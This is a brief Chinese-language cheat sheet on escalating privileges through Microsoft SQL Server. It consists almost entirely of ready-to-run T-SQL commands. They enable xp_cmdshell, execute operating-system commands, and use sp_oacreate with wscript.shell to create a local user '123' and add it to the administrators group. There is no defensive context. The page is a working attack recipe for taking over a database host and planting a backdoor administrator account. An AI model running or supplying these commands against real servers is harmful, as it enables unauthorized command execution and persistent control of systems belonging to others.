mssql数据库提权(xp_cmdshell)
mssql数据库提权(xp_cmdshell)
利用 xp_cmdshell 存储过程
代码:EXEC master.dbo.xp_cmdshell ‘ipconfig’
开启xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’,1;reconfigure;
关闭xp_cmdshell
exec sp_configure ‘show advanced options’, 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 0;reconfigure
添加账号
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net user 123 123 /add’
将123账号添加到administrators超级管理组
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators 123/add’